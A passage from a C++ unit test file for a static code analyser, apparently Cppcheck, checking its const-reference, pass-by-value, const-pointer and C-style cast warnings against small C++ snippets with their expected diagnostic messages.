ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n 